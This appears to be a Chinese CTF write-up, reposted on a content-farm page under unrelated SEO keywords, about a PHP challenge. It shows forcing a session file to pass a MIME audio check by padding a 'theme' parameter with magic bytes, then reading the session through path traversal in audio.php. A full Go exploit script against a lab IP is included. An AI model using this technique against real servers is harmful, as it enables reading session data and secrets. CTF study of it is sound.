当前位置: 首页> 健康> 知识 > 陈村网站开发_网站建设兴田德润_如何自己制作网页_seo全网营销公司

陈村网站开发_网站建设兴田德润_如何自己制作网页_seo全网营销公司

时间:2025/7/11 14:55:16来源:https://blog.csdn.net/2301_80395418/article/details/143277206 浏览次数:0次
陈村网站开发_网站建设兴田德润_如何自己制作网页_seo全网营销公司

题目中给了源码

index.php中将flag的值赋给了session['flag']
在这里插入图片描述

session['theme']接收GET传入的theme参数。。。??是PHP中的空合并运算符它的作用是检查左侧的值是否存在且不为null。如果存在,则返回左侧的值;如果不存在,则返回右侧的值。
在这里插入图片描述

如果theme以GET的方式传入了值。则$_SESSION['theme']将使用传入的值

audio.php中存在文件读取。但是会判断文件的mine类型是否为audio

在这里插入图片描述

mime_content_type函数以magic.mime文件中的信息来确定mime

在这里插入图片描述

我们传入的theme值将会在/tmp/sess_xxx文件的中间出现。我们可传入便宜量较大的字符串来更改文件的mime

例如:M.K.M!K!FLT4FLT8这些便宜量较大的值(1080)

同时不知道flag占据了多少了个字节。可以进行4个循环在每个循环中添加一个字符来进行破解

这里是我用exp

package mainimport ("fmt""io""io/ioutil""net/http""net/url""strings"
)func main() {target := "http://192.168.22.129:1880"target2 := "http://192.168.22.129:1880/audio.php"//target := "https://httpbin.org/get"Client := http.Client{}for i := 0; i < 4; i++ {req1, err := http.NewRequest("GET", target, nil)if err != nil {fmt.Println(err)}param := make(url.Values)param.Add("theme", strings.Repeat("s", i)+strings.Repeat("4CHN", 270))req1.URL.RawQuery = param.Encode()req1.Header.Add("Cookie", "PHPSESSID=yex")do, err := Client.Do(req1)if err != nil {fmt.Println(err)}defer do.Body.Close()_, err = ioutil.ReadAll(do.Body)req2, err := http.NewRequest("GET", target2, nil)param2 := make(url.Values)param2.Add("f", "../../../../../../../tmp/sess_yex")req2.URL.RawQuery = param2.Encode()do2, _ := Client.Do(req2)defer do2.Body.Close()data2, _ := io.ReadAll(do2.Body)if do2.StatusCode != 403 {fmt.Println(string(data2))}}}
关键字:陈村网站开发_网站建设兴田德润_如何自己制作网页_seo全网营销公司

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: